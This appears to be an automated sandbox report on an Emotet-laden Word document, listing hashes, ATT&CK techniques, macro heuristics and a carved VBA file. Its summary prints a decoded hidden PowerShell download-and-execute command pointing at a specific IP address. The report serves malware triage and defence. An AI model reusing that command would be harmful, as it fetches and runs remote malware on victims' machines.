Emotet Office (OLE) / .DOC malware analysis — malicious · 8f74e864848af740

MALICIOUS

Office (OLE) / .DOC

161.1 KB Created: 2020-09-15 23:02:00 Authoring application: Microsoft Office Word

MD5: 9288a9c474e3e5d7b41a04baaea4a2d2 SHA-1: 95a7d6313ecf69c94f37809a8b50ca39e8c3d06b SHA-256: 8f74e864848af7407b2a5b7e9ab3b6d56bcd0da7e0ae974733ee0a03006a870f

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical ClamAV detection and high-severity heuristics for VBA macros, including an auto-executing Document_Open macro and CreateObject calls, strongly indicate malicious intent. The extracted document body contains obfuscated PowerShell commands, specifically reconstructing the command 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://185.141.60.173:8080/a\');"'. This script is designed to download and execute a second-stage payload from the specified URL, a common Emotet delivery technique.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-9762287-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-9762287-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `2463ca5944a3498304fe918280f5b6583e6e8da36e1a3b40714097a3ead5b81e`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25024 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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